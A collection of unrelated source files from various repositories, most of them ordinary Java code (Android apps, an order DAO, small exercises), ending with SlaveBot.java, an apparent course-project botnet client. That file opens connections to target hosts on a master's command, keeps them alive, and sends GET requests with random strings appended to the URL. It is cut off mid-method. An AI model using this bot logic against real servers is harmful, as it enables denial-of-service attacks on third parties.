CopyOnWriteๅฎนๅ™จๅณๅ†™ๆ—ถๅคๅˆถ็š„ๅฎนๅ™จใ€‚ๅพ€ไธ€ไธชๅฎนๅ™จๆทปๅŠ ๅ…ƒ็ด ็š„ๆ—ถๅ€™๏ผŒไธ็›ดๆŽฅๅพ€ๅฝ“ๅ‰ๅฎนๅ™จObject[]ๆทปๅŠ ๏ผŒ * ่€Œๆ˜ฏๅ…ˆๅฐ†ๅฝ“ๅ‰object[]่ฟ›่กŒCopy๏ผŒๅคๅˆถๅ‡บไธ€ไธชๆ–ฐ็š„ๅฎนๅ™จObject[] newElements๏ผŒ็„ถๅŽๆ–ฐ็š„ๅฎนๅ™จObject[] newElements * ้‡ŒๆทปๅŠ ๅ…ƒ็ด ๏ผŒๆทปๅŠ ๅฎŒๅ…ƒ็ด ไน‹ๅŽ๏ผŒๅ†ๅฐ†ๅŽŸๅฎนๅ™จ็š„ๅผ•็”จๆŒ‡ๅ‘ๆ–ฐ็š„ๅฎนๅ™จsetArray๏ผˆnewElements๏ผ‰;่ฟ™ๆ ทๅš็š„ๅฅฝๅค„ๆ˜ฏๅฏไปฅๅฏน * copyonwriteๅฎนๅ™จ่ฟ›่กŒๅนถๅ‘็š„่ฏป๏ผŒ่€Œไธ้œ€่ฆๅŠ ้”๏ผŒๅ› ไธบๅฝ“ๅ‰ๅฎนๅ™จไธไผšๆทปๅŠ ไปปไฝ•ๅ…ƒ็ด ใ€‚ๆ‰€ไปฅcopyonwriteๅฎนๅ™จไนŸๆ˜ฏไธ€็ง * ่ฏปๅ†™ๅˆ†็ฆป็š„ๆ€ๆƒณ๏ผŒ่ฏปๅ’Œๅ†™ไธๅŒ็š„ๅฎนๅ™จใ€‚ * * 4 ไผ˜ๅŒ–ๅปบ่ฎฎ * */ } }
[ "277780875@qq.com" ]
277780875@qq.com
aed0bbc9ac6e92eaedce30a0b09d011d329ec4fd
d62a3d2b5a8c97cd79e464ed298e7e827ae30fb7
/app/src/test/java/com/example/ejerciciosemana2/ExampleUnitTest.java
8e294435d85b5b368d5f53bde64d841b9018218d
[]
no_license
danieldiaz-2502/EjercicioSemana2
8c00e64aa6627685ff2ff3a1b21eaa7f3f44cd48
bdd6bae7862e540b179bd1a46b1a5deba9f846f3
refs/heads/master
2023-03-12T14:00:30.503650
2021-02-18T23:45:27
2021-02-18T23:45:27
338,444,456
0
0
null
null
null
null
UTF-8
Java
false
false
389
java
package com.example.ejerciciosemana2; import org.junit.Test; import static org.junit.Assert.*; /** * Example local unit test, which will execute on the development machine (host). * * @see <a href="http://d.android.com/tools/testing">Testing documentation</a> */ public class ExampleUnitTest { @Test public void addition_isCorrect() { assertEquals(4, 2 + 2); } }
[ "daniel_diazvalencia@outlook.com" ]
daniel_diazvalencia@outlook.com
2e9ae9a31b1a1198e2d8921e65ba48b3a89254f5
238ae0a700f42925f5f38481576d47404b802fa0
/app/src/main/java/kr/ac/cau/sealife/DummyActivity.java
9f40315ed04bb2351019e9f1c7ad79342ffed293
[]
no_license
holquew/CAU_MobileApp
823a51654e3b36bfde96b7d6fa5d476bfdf1343c
b4390e6b283f99bb96a0fa4b36b24b53a7dcea6f
refs/heads/master
2020-03-29T22:38:58.323520
2018-09-27T17:53:19
2018-09-27T17:53:19
150,432,827
0
0
null
null
null
null
UTF-8
Java
false
false
767
java
package kr.ac.cau.sealife; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.view.MenuItem; public class DummyActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.page_dummy); getSupportActionBar().setDisplayShowTitleEnabled(false); getSupportActionBar().setDisplayHomeAsUpEnabled(true); } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()){ case android.R.id.home: { finish(); return true; } } return super.onOptionsItemSelected(item); } }
[ "holquew@gmail.com" ]
holquew@gmail.com
a68fb0d667c521a6e60e4d12f1d753a6354b1d6f
59529144829bdd44ba79fdfe74c738d820609d54
/src/com/nl/hackathon/hyperledger/riskybusiness/services/ResponseFormat.java
856c65f262862661a7c927540baa0a69f1143c81
[]
no_license
TycEkart/riskybusiness
e021b932db9409566abef51b64b09be5423d7bda
33948b41e5db01bffadeaf8a5057df8afdc4d557
refs/heads/master
2021-01-24T10:33:07.676213
2016-10-02T15:02:46
2016-10-02T15:02:46
69,737,255
0
0
null
null
null
null
UTF-8
Java
false
false
1,042
java
package com.nl.hackathon.hyperledger.riskybusiness.services; import org.codehaus.jettison.json.JSONException; import org.codehaus.jettison.json.JSONObject; public class ResponseFormat { public static String createResponse(JSONObject data, int returncode, String errormessage, String resultmessage) { JSONObject res = new JSONObject(); try { res.put("returncode", returncode); res.put("errormessage", errormessage); res.put("resultmessage", resultmessage); res.put("data", data); } catch (JSONException e) { e.printStackTrace(); } return res.toString(); } /** * Positive respone * * @param data * @param resultmessage * @return */ public static String createResponse(JSONObject data, String resultmessage) { return createResponse(data, 200, "", resultmessage); } /** * negative respone * * @param data * @param resultmessage * @return */ public static String createResponse(int returncode, String errormessage) { return createResponse(null, returncode, errormessage, ""); } }
[ "thijseckhart@gmail.com" ]
thijseckhart@gmail.com
6e7d5eb69bcaad9d57b2989806ace94b59b27406
0d79a88fa0642489f848664eb1cf3d5888b6144c
/chapter_001/src/main/java/ru/job4j/loop/Factorial.java
1015fb87ca50a717a709ae4a3c0167b137a1ab35
[ "Apache-2.0" ]
permissive
anderson178/job4j
36e40c145290a6813770c6ed8bf0c7c85e8447da
7bae9cb65cff3bb9060eed750db8e2df65abfc62
refs/heads/master
2021-07-04T15:39:31.470399
2019-03-26T13:51:14
2019-03-26T13:51:14
142,664,445
7
0
null
null
null
null
UTF-8
Java
false
false
555
java
package ru.job4j.loop; /** * @author Denis Mironenko * @version $Id$ * @since 06.08.2018 */ public class Factorial { /** * ะผะตั‚ะพะด ั€ะฐัั‡ะตั‚ะฐ ั„ะฐะบั‚ะพั€ะธะฐะปะฐ ะทะฐะดะฐะฝะฝะพะณะพ ั‡ะธัะปะฐ * @param n - ั„ะฐะบั‚ะพั€ะธะฐะป ั‡ะธัะปะฐ * @return - ะฒะพะทะฒั€ะฐั‰ะฐะตั‚ ั€ะฐัั‡ะตั‚ ั„ะฐะบั‚ะพั€ะธะฐะปะฐ ะทะฐะดะฐะฝะฝะพะณะพ ั‡ะธัะปะฐ */ public int calculationFactorial(int n) { int temp = 1; for (int i = n; i > 0; i--) { temp = temp * i; } return temp; } }
[ "denismironenko@yandex.ru" ]
denismironenko@yandex.ru
d84906cdf41c2156b7cbfe02856488b342ba5d63
8b4a0fac6216953760958a58f0fc438274fe4702
/src/com/dirtyunicorns/tweaks/fragments/team/ListAdapter.java
775220c6e49b9dfb8273a94cd515b4bd503d755a
[ "Apache-2.0" ]
permissive
creeve4/android_packages_apps_DU-Tweaks
695b8d285ba59203a669b0decba52ad622ca2a3d
095db614c50f2c035fe5780d2fa647ffbec77783
refs/heads/q10x
2021-07-12T11:11:42.392610
2020-09-25T17:52:54
2020-09-25T17:52:54
208,470,252
0
0
Apache-2.0
2020-09-25T17:52:55
2019-09-14T16:37:50
Java
UTF-8
Java
false
false
4,462
java
/* * Copyright (C) 2020 The Dirty Unicorns Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.dirtyunicorns.tweaks.fragments.team; import android.content.ActivityNotFoundException; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import com.android.settings.R; import java.util.List; public class ListAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> { private List<DevInfoAdapter> mList; public ListAdapter(List<DevInfoAdapter> list){ super(); mList = list; } @NonNull @Override public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int i) { View v = LayoutInflater.from(parent.getContext()).inflate( R.layout.team_layout, parent, false); return new ViewHolder(v); } @Override public void onBindViewHolder(@NonNull RecyclerView.ViewHolder viewHolder, int position) { DevInfoAdapter itemAdapter = mList.get(position); ((ViewHolder) viewHolder).mDevImage.setImageResource(itemAdapter.getImage()); ((ViewHolder) viewHolder).mDevName.setText(itemAdapter.getDevName()); ((ViewHolder) viewHolder).mDevTitle.setText(itemAdapter.getDevTitle()); ((ViewHolder) viewHolder).mGithubName.setText(itemAdapter.getGithubName()); ((ViewHolder) viewHolder).mTwitterName.setText(itemAdapter.getTwitterName()); } @Override public int getItemCount() { return mList.size(); } static class ViewHolder extends RecyclerView.ViewHolder{ public ImageView mDevImage; public ImageView mGithub; public ImageView mTwitter; public TextView mDevName; public TextView mDevTitle; public TextView mGithubName; public TextView mTwitterName; private Context mContext; public ViewHolder(View itemView) { super(itemView); mDevImage = itemView.findViewById(R.id.devImage); mDevName = itemView.findViewById(R.id.devName); mDevTitle = itemView.findViewById(R.id.devTitle); mGithub = itemView.findViewById(R.id.devGithub); mGithubName = itemView.findViewById(R.id.githubName); mTwitter = itemView.findViewById(R.id.devTwitter); mTwitterName = itemView.findViewById(R.id.twitterName); mContext = itemView.getContext(); mGithub.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { try { Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://github.com/" + mGithubName.getText())); mContext.startActivity(intent); } catch (ActivityNotFoundException e) { e.printStackTrace(); } } }); mTwitter.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { try { Intent intent = new Intent(Intent.ACTION_VIEW, mTwitterName.getText().equals("") ? Uri.parse("https://twitter.com/_DirtyUnicorns_") : Uri.parse("https://twitter.com/" + mTwitterName.getText())); mContext.startActivity(intent); } catch (ActivityNotFoundException e) { e.printStackTrace(); } } }); } } }
[ "du.alexcruz@gmail.com" ]
du.alexcruz@gmail.com
027e9d73fa9418001f9a0752d77d386206496614
f669e224ffa0a68c6e55c89a26f90c980f5d5098
/thread/bakery/Baker.java
a6f1e88e931b74956d50c1083ca1c4200dde8bb4
[]
no_license
hyein1002/dev_java_src
9ad432ad4681aebfc7bebba14d1e0000d516b9cf
7c65b305bef1435cc74c7b4a6c2fa6a7f5469975
refs/heads/master
2022-04-13T06:30:17.797622
2020-04-13T08:59:52
2020-04-13T08:59:52
254,594,273
0
0
null
null
null
null
UTF-8
Java
false
false
868
java
package thread.bakery; /* * ์ œ๋นต์‚ฌ ํด๋ž˜์Šค * ๋นต์„ ๋งŒ๋“ค์–ด์„œ ์ง„์—ด์žฅ์— ์ง„์—ด์„ ํ•ฉ๋‹ˆ๋‹ค. * */ public class Baker extends Thread { private BakerStack bs = null; public Baker(BakerStack bs) { this.bs = bs; } @Override public void run() { String bread = null;//์ œ๋นต์‚ฌ๊ฐ€ ๋งŒ๋“  ๋นต์ด ์ €์žฅ for(int i=0;i<5;i++) { bread = getBread(); bs.push(bread); System.out.println("์ œ๋นต์‚ฌ๊ฐ€ ๋งŒ๋“  ๋นต : "+bread); try { sleep(3000); } catch (InterruptedException e) { System.out.println(e.toString()); } } } //๋นต์„ ์ œ๊ณตํ•ด ์ฃผ๋Š” ๋ฉ”์†Œ๋“œ ๊ตฌํ˜„ public String getBread() { String bread = null; switch((int)(Math.random()*3)) { case 0: bread = "์ƒํฌ๋ฆผ๋นต"; break; case 1: bread = "๋„๋„ˆ์ธ "; break; case 2: bread = "๋งˆ๋Š˜๋นต"; break; } return bread; } }
[ "hyene02@gmail.com" ]
hyene02@gmail.com
e0c0d49891f7d65979a5a8a0227a64192ee19c51
d17c4b1960a08f9644d069530cb1494c6a4e7080
/kmeans-advanced/src/main/java/tdk/tamas/egyed/quantum/U3.java
229b492983ac83d85e115756436b54d57fc99374
[]
no_license
egytom/tdk2020
d78584d03078d6a6c75f4f2ad18ebf2004f64406
e80cd0d42939adaf042007f0a06320c78b356339
refs/heads/master
2023-01-06T21:48:42.062252
2020-09-08T12:36:57
2020-11-11T11:51:46
293,804,643
0
0
null
null
null
null
UTF-8
Java
false
false
1,023
java
package tdk.tamas.egyed.quantum; import com.gluonhq.strange.Complex; import com.gluonhq.strange.gate.SingleQubitGate; public class U3 extends SingleQubitGate { private final Complex[][] matrix; private int pow = -1; public U3(double alpha, double beta, double gamma, int idx) { super(idx); matrix = new Complex[][]{ { new Complex(Math.cos(alpha/2), 0), new Complex(Math.sin(alpha/2)*((-1)*(Math.cos(gamma))), (-1)*Math.sin(alpha/2)*Math.sin(gamma)) }, { new Complex(Math.sin(alpha/2)*Math.cos(beta), Math.sin(alpha/2)*Math.sin(beta)), new Complex(Math.cos(alpha/2)*Math.cos(alpha+gamma), Math.cos(alpha/2)*Math.sin(alpha+gamma)) } }; } @Override public Complex[][] getMatrix() { return matrix; } @Override public String getCaption() { return "U3" + ((pow> -1)? Integer.toString(pow): "th"); } }
[ "egyed.t@gmail.com" ]
egyed.t@gmail.com
2bbe2e0e250382c13c3b4ac91cebba14d23d553f
61d2b01ab43aae692ee4efb1645d860ca006dc12
/app/src/main/java/us/xingkong/starwishingbottle/module/first/FirstContract.java
f7bffbe93dc11aaf782eda5d4d1711e7a4d830bd
[]
no_license
xingkongus/StarWish
f1ebd2a013d6a4e9f89a97b629ac45be853788ed
8176754eb4f08e275a6a163e0dde40953fe6113f
refs/heads/master
2021-09-18T11:33:44.865533
2018-07-13T11:09:44
2018-07-13T11:09:44
133,218,968
0
0
null
null
null
null
UTF-8
Java
false
false
398
java
package us.xingkong.starwishingbottle.module.first; import us.xingkong.starwishingbottle.base.BasePresenter; import us.xingkong.starwishingbottle.base.BaseView; /** * Created by SeaLynn0 on 2018/4/24 17:23 * <p> * Email๏ผšsealynndev@gmail.com */ public interface FirstContract { interface View extends BaseView<Presenter>{ } interface Presenter extends BasePresenter{ } }
[ "sealinxy@outlook.com" ]
sealinxy@outlook.com
a48490462c12e19db7e9e34def80c8c57282cfc7
6dd7ba8a622a693a9db12138a8300af7fed2327c
/src/dao/OrderDao.java
a24dc50546e13a89e19035ae072d6b51e5b32248
[]
no_license
7LeaF/Minishop
bce3e8537713cff4653be717883ebac704b4b37f
b2ae0fd1e0faa221b4b9d8cb24c475dd212a12e2
refs/heads/master
2021-01-19T14:27:23.124317
2017-09-01T07:29:34
2017-09-01T07:29:34
100,903,268
0
1
null
null
null
null
UHC
Java
false
false
8,928
java
package dao; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.util.ArrayList; import java.util.HashMap; import util.db.JdbcUtil; import vo.OrderVo; public class OrderDao { //์ฃผ๋ฌธ์กฐํšŒ public ArrayList<HashMap<String, String>> getOrderViewList(String userId){ ArrayList<HashMap<String, String>> list= new ArrayList<>(); Connection conn= JdbcUtil.getConnection(); PreparedStatement pstmt= null; ResultSet rs= null; String SQL= "SELECT product_code, product_image1, product_name, order_code, order_count, order_amount, order_date, order_state" + " FROM products p, orders o" + " where user_id_fk=? and o.product_code_pk=p.product_code"; try{ pstmt= conn.prepareStatement(SQL); pstmt.setString(1, userId); rs= pstmt.executeQuery(); while(rs.next()){ HashMap<String, String> map= new HashMap<>(); map.put("productCode", rs.getString("product_code")); map.put("productImage1", rs.getString("product_image1")); map.put("productName", rs.getString("product_name")); map.put("orderCode", rs.getString("order_code")); map.put("orderCount", Integer.toString(rs.getInt("order_count"))); map.put("orderAmount", Integer.toString(rs.getInt("order_amount"))); map.put("orderDate", rs.getString("order_date")); map.put("orderState", Integer.toString(rs.getInt("order_state"))); list.add(map); } return list; } catch(Exception e){ e.printStackTrace(); } finally{ JdbcUtil.close(rs); JdbcUtil.close(pstmt); JdbcUtil.close(conn); } return null; } //์ฃผ๋ฌธํ•˜๊ธฐ public int order(OrderVo vo, int priceSale){ System.out.println("OrderDao.orderAdd.start"); Connection conn= JdbcUtil.getConnection(); PreparedStatement pstmt= null; ResultSet rs= null; try{ String sql= "INSERT INTO orders" + " (order_code, user_id_fk, product_code_pk, order_count, buyer_name, buyer_address1, buyer_address2, buyer_phone," + " buyer_email, rcpt_name, rcpt_address1, rcpt_address2, rcpt_phone, ship_message, order_amount, order_state, order_date)" + " VALUES" + " (order_code_seq.nextval, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 0, sysdate)"; pstmt = conn.prepareStatement(sql); //pstmt.setString(1, vo.getOrderCode()); pstmt.setString(1, vo.getUserIdFk()); pstmt.setString(2, vo.getProductCodePk()); pstmt.setInt(3, vo.getOrderCount()); pstmt.setString(4, vo.getBuyerName()); pstmt.setString(5, vo.getBuyerAddress1()); pstmt.setString(6, vo.getBuyerAddress2()); pstmt.setString(7, vo.getBuyerPhone()); pstmt.setString(8, vo.getBuyerEmail()); pstmt.setString(9, vo.getRcptName()); pstmt.setString(10, vo.getRcptAddress1()); pstmt.setString(11, vo.getRcptAddress2()); pstmt.setString(12, vo.getRcptPhone()); pstmt.setString(13, vo.getShipMessage()); pstmt.setInt(14, vo.getOrderAmount()); System.out.println("OrderDao.orderAdd.end"); return pstmt.executeUpdate(); } catch(Exception e){ e.printStackTrace(); } finally{ JdbcUtil.close(rs); JdbcUtil.close(pstmt); JdbcUtil.close(conn); } return -1; } //์ฃผ๋ฌธ ๊ด€๋ฆฌ ์ƒ์„ธ public HashMap<String, String> orderDetailView(String orderCode){ Connection conn= JdbcUtil.getConnection(); PreparedStatement pstmt= null; ResultSet rs= null; // System.out.println("orderDao.orderDetailView.strat"); // System.out.println(orderCode); String sql = "select order_code, user_id_fk, product_code_pk, order_count," + " buyer_name, buyer_address1, buyer_address2, buyer_phone, buyer_email, rcpt_name, rcpt_address1, rcpt_address2," + " rcpt_phone, ship_message, order_amount, order_state, order_date, product_image1, product_name, product_message, price_sale" + " from orders o, products p where o.product_code_pk = p.product_code and order_code = ?"; try{ pstmt = conn.prepareStatement(sql); pstmt.setString(1,orderCode); rs = pstmt.executeQuery(); while(rs.next()){ HashMap<String, String> map= new HashMap<>(); map.put("orderCode", rs.getString("order_code")); map.put("userIdFk", rs.getString("user_id_fk")); map.put("productCodePk", rs.getString("product_code_pk")); map.put("orderCount", rs.getString("order_count")); map.put("buyerName", rs.getString("buyer_name")); map.put("buyerAddress1", rs.getString("buyer_address1")); map.put("buyerAddress2", rs.getString("buyer_address2")); map.put("buyerPhone", rs.getString("buyer_phone")); map.put("buyerEmail", rs.getString("buyer_email")); map.put("rcptName", rs.getString("rcpt_name")); map.put("rcptAddress1", rs.getString("rcpt_address1")); map.put("rcptAddress2", rs.getString("rcpt_address2")); map.put("rcptPhone", rs.getString("rcpt_phone")); map.put("shipMessage", rs.getString("ship_message")); map.put("orderAmount", rs.getString("order_amount")); map.put("orderState", rs.getString("order_state")); map.put("orderDate", rs.getString("order_date")); map.put("productImage1", rs.getString("product_image1")); map.put("productName", rs.getString("product_name")); map.put("productMessage", rs.getString("product_message")); map.put("priceSale", rs.getString("price_sale")); System.out.println("orderDetailView.work"); return map; } }catch(Exception e){ e.printStackTrace(); }finally { JdbcUtil.close(rs); JdbcUtil.close(pstmt); JdbcUtil.close(conn); } System.out.println("orderDao.orderDetailView.end"); return null; } //์ฃผ๋ฌธ ๊ด€๋ฆฌ ์ˆ˜์ • public int orderMofiyAction(OrderVo voList){ Connection conn= JdbcUtil.getConnection(); PreparedStatement pstmt= null; System.out.println("orderDao.orderMofiyAction.strat"); System.out.println("๋ฐฐ์†ก์ƒํƒœ๋ฒˆํ˜ธ : " + voList.getOrderState()); System.out.println("์ „ํ™”1 : " + voList.getBuyerPhone()); System.out.println("์ „ํ™”2 : " + voList.getRcptPhone()); int result = 0; try{ String sql = "UPDATE orders" + " SET order_amount =?, buyer_name =?, buyer_address1 =?, buyer_address2 =?, buyer_email =?," + " buyer_phone =?, rcpt_name =?, rcpt_address1 =?, rcpt_address2 =?, rcpt_phone =?," + " ship_message =?, order_state=?, order_count =?" + " WHERE order_code =?"; pstmt = conn.prepareStatement(sql); pstmt.setInt(1,voList.getOrderAmount()); pstmt.setString(2, voList.getBuyerName()); pstmt.setString(3, voList.getBuyerAddress1()); pstmt.setString(4, voList.getBuyerAddress2()); pstmt.setString(5, voList.getBuyerEmail()); pstmt.setString(6, voList.getBuyerPhone()); pstmt.setString(7, voList.getRcptName()); pstmt.setString(8, voList.getRcptAddress1()); pstmt.setString(9, voList.getRcptAddress2()); pstmt.setString(10, voList.getRcptPhone()); pstmt.setString(11, voList.getShipMessage()); pstmt.setInt(12, voList.getOrderState()); pstmt.setInt(13, voList.getOrderCount()); pstmt.setString(14, voList.getOrderCode()); return pstmt.executeUpdate(); }catch(Exception e){ e.printStackTrace(); }finally { JdbcUtil.close(pstmt); JdbcUtil.close(conn); } System.out.println("orderDao.orderMofiyAction.end"); System.out.println("Result : " + result); return -1; } public ArrayList<HashMap<String, String>> getOrderManageView(String orderState){ ArrayList<HashMap<String, String>> list = new ArrayList<>(); Connection conn= JdbcUtil.getConnection(); PreparedStatement pstmt= null; ResultSet rs= null; System.out.println("orderDao.orderManageView.strat"); try{ String sql = "SELECT product_name, buyer_name, price_sale, order_count, order_amount, order_code" + " FROM products p, orders o" + " WHERE p.product_code=o.product_code_pk and order_state=?"; pstmt = conn.prepareStatement(sql); pstmt.setString(1, orderState); rs = pstmt.executeQuery(); while(rs.next()){ HashMap<String, String> map= new HashMap<>(); map.put("productName", rs.getString("product_name")); map.put("buyerName", rs.getString("buyer_name")); map.put("priceSale", rs.getString("price_sale")); map.put("orderCount", rs.getString("order_count")); map.put("orderAmount", rs.getString("order_amount")); map.put("orderCode", rs.getString("order_code")); list.add(map); System.out.println("orderManageView.work"); } }catch(Exception e){ e.printStackTrace(); }finally { JdbcUtil.close(rs); JdbcUtil.close(pstmt); JdbcUtil.close(conn); } System.out.println("orderDao.orderManageView.end"); return list; } }//class end
[ "powerhw@naver.com" ]
powerhw@naver.com
05c02379e5efd9929df3bacbb21e1bc06e734655
e4b7ac0e9e3acf5d40369fc779f121c53448a66c
/SlaveBot.java
f405bbdcf7967d425090bd66c59efa176d2ebe3a
[]
no_license
koovutk/NetworkingProjects
dfc50867c7e68192b8fc1dd34ea210e83ff68edb
caa94773be8127b5782ff2c89fc51a7b597c82d6
refs/heads/master
2020-05-20T16:25:03.706139
2018-02-25T04:42:54
2018-02-25T04:42:54
null
0
0
null
null
null
null
UTF-8
Java
false
false
23,916
java
import java.awt.Desktop; import java.io.*; import java.net.*; import java.text.SimpleDateFormat; import java.util.*; import java.io.BufferedWriter.*; import com.sun.net.httpserver.Headers; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.util.List; import java.util.Map; import java.util.Set; import java.util.logging.Level; import java.util.logging.Logger; import java.net.*; import java.util.*; import java.io.*; import java.text.SimpleDateFormat; import java.io.BufferedWriter.*; @SuppressWarnings("unchecked") public class SlaveBot extends Thread { //Project 3 Declaration Begin static int portdec; static String fakeURL = ""; static int interupt1 = 0; // Creating an Socket object to act as an interface bw Master and Slave. Socket connectingMaster; // The array list has the connected data in it. public static ArrayList<Socket> connected = new ArrayList<>(); // Total Number of Connection List public static ArrayList<Socket> totalConnected = new ArrayList<>(); public static void main(String[] args) { if (args[0].equals("-h") && args[2].equals("-p")) { // Creating an instance of listener. Which keeps listening to the Masters Input. listener listen1 = new listener(args[1], Integer.parseInt(args[3])); } else // If inputs are wrong while running the slave, exitting the slave program. { System.out.println("Please enter the inputs in the below format for running the Slave"); System.out.println("java SlaveBot -h masterIPAddress -p masterPortNumber"); System.out.println("Exiting the SlaveBot Program"); System.exit(-1); } do { Scanner inp = new Scanner(System.in); String line = inp.nextLine(); String[] arrayOfString = line.split("\\s+"); // Splits line based on white space betwee them. if (arrayOfString.length == 5) { String serverName = arrayOfString[2]; // IP Address of the Master if (serverName.startsWith("www.")) { String temp; temp = arrayOfString[2]; arrayOfString[2] = temp.substring(4, temp.length()); } int portNumber = Integer.parseInt(arrayOfString[4]); // Port Address of the master. listener listen2 = new listener(serverName, portNumber); } }while (true); } public static class listener { private int portNumber; private String ipAddress; public listener(String ipAddress, int portNumber) { this.portNumber = portNumber; this.ipAddress = ipAddress; try { Socket master = new Socket(ipAddress, portNumber); totalConnected.add(master); System.out.println("Connected to " + master.getRemoteSocketAddress()); } catch (IOException e) { // Commented for Project Purpose - No Extra Prints System.out.println("Exception occurred, exitting the listener object in SlaveBot"); System.exit(-1); } } } // Added to remove the deprecation warnings showing on console. @SuppressWarnings("deprecation") public void createSocket(Socket fromMaster, int portNumber, String ipAddress, int connections, boolean keepAlive, String url) throws IOException { try { connectingMaster = new Socket(); //System.out.println("Inside create Socket at Slave End"); connectingMaster.connect(new InetSocketAddress(ipAddress, portNumber)); connected.add(connectingMaster); // Adding the connections to an array list. if (connectingMaster.isConnected()) { System.out.println("\nSlave: " + fromMaster.getRemoteSocketAddress().toString() + " Connected to " + connectingMaster.getInetAddress().toString() + "\nTarget IP: " + connectingMaster.getLocalPort() + "\n"); } if(keepAlive) { //System.out.println("inkeepalive"); // Using the setKeepAlive method in, defined in the Socket Object. connectingMaster.setKeepAlive(true); System.out.println("The Keep Alive function is turned on."); //System.out.println("Connectivity will be checked after 2 hrs by default\nto keep the connection alive\n"); //System.out.println(connectingMaster.getKeepAlive()); } if(url.length() != 0) { //System.out.println("in url"); String randString = getRandString(); DataOutputStream os = new DataOutputStream(connectingMaster.getOutputStream()); DataInputStream is = new DataInputStream(connectingMaster.getInputStream()); url = url.substring(4, url.length()); String temp = url; if(temp.length() == 0) temp = "https://" + ipAddress + "/" + url + randString; else temp = "https://" + ipAddress + url + randString; url = url + randString; //System.out.println(url); os.writeBytes("GET "+ url + "HTTPS/1.1\r\nHost: "+ ipAddress); //perl command to establish connection. is.available(); os.flush(); System.out.println(is.readLine() + "\nThe URL used is: "+ temp); //System.out.println("The URL used is: "+ temp); System.out.println("Random string generated: "+ randString); Thread.sleep(1000); //System.out.println("Leaving URL in Slave"); } } catch(IOException e) { //e.printStackTrace(); System.out.println("connection probably lost"); System.out.println("in exception"); System.out.println("Terminating abnormally with exit code -1"); // System.out.println(attack.getKeepAlive()); // System.exit(-1); } catch (InterruptedException e) { // Commented for Project Purpose - No Extra Prints System.out.println("Exception occurred, exitting the createSocket Function in SlaveBot"); System.exit(-1); } } // Over Riding the create Socket Function for the Project 3rd Part. public void createSocket(Socket fromMaster, String mode, int portNumber, String URL, int interupt) { //System.out.println("Hello - Inside Slave"); interupt1 = interupt; //System.out.println(mode); HttpServer server = null; if(mode.equals("rise-fake-url")) //while(true) { //System.out.println("Inside Rise Fake URL"); //System.out.println("portNumber" + " " + portNumber); int port; if(portNumber > 1000) { port = portNumber; } else { port = 9000; } portdec = port; String url = URL; /*if(url.startsWith("http") || url.startsWith("https")) url = URL + "/"; else url = "http://" + URL + "/"; */ fakeURL = url; try { server = HttpServer.create(new InetSocketAddress(portNumber), 0); server.createContext("/", new HomePageHandler(fakeURL)); server.createContext("/page1", new PageHandler(fakeURL, 1)); server.createContext("/page2", new PageHandler(fakeURL,2 )); server.createContext("/page3", new PageHandler(fakeURL, 3)); server.createContext("/page4", new PageHandler(fakeURL, 4)); server.createContext("/page5", new PageHandler(fakeURL, 5)); server.createContext("/page6", new PageHandler(fakeURL, 6)); server.createContext("/page7", new PageHandler(fakeURL, 7)); server.createContext("/page8", new PageHandler(fakeURL, 8)); server.createContext("/page9", new PageHandler(fakeURL, 9)); server.createContext("/page10", new PageHandler(fakeURL, 10)); System.out.println("server started at " + port); RootHandler r1 = new RootHandler(); server.createContext("/", new RootHandler()); server.createContext("/echoHeader", new EchoHeaderHandler()); server.createContext("/echoGet", new EchoGetHandler()); server.createContext("/echoPost", new EchoPostHandler()); server.setExecutor(null); server.start(); String myCommand = "xdg-open http://localhost:"; myCommand += port; //Runtime.getRuntime().exec(myCommand); } catch(IOException e) { } } else { System.out.println("Inside down-fake-url"); try{ for (int i = 0; i < connected.size(); i++) { connected.get(i).close(); } String myCommand = "xdg-open http://localhost:"; myCommand += portNumber; //Runtime.getRuntime().exec(myCommand); System.out.println("Stopping the Server"); server.stop(0); System.out.println("Stopping the Server test"); } catch(IOException e) { } } } // Over Riding create Socket ends. public void disconnect(int masterPort, String masterAddress) { try { if (masterPort == 9999) // A default value to disconnect all connections. { // masterPort = 80; for (int i = 0; i < connected.size(); i++) { if (!connected.get(i).isClosed()) { System.out.println("Connection to " + connected.get(i).getRemoteSocketAddress() + " " + connected.get(i).getLocalPort() + " is closed\n"); connected.get(i).close(); } } } else { // System.out.println("Inside Disconnect"); for (int i = 0; i < connected.size(); i++) { // System.out.println("Testing begin"); // System.out.println(masterPort); // System.out.println(connected.get(i).getLocalPort()); // System.out.println("Testing end"); if (connected.get(i).getLocalPort() == masterPort) { System.out.println("Connection to " + connected.get(i).getRemoteSocketAddress() + " " + connected.get(i).getLocalPort() + " is closed\n"); connected.get(i).close(); } } } } catch (IOException e) { // Commented for Project Purpose - No Extra Prints System.out.println("Exception occurred, exitting the disconnect Function in SlaveBot"); System.exit(-1); } } public static String getRandString() { String RANDCHARS = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"; StringBuilder rand = new StringBuilder(); Random rnd = new Random(); do { int index = (int) (rnd.nextFloat() * RANDCHARS.length()); rand.append(RANDCHARS.charAt(index)); } while (rand.length() < 10); String randStr = 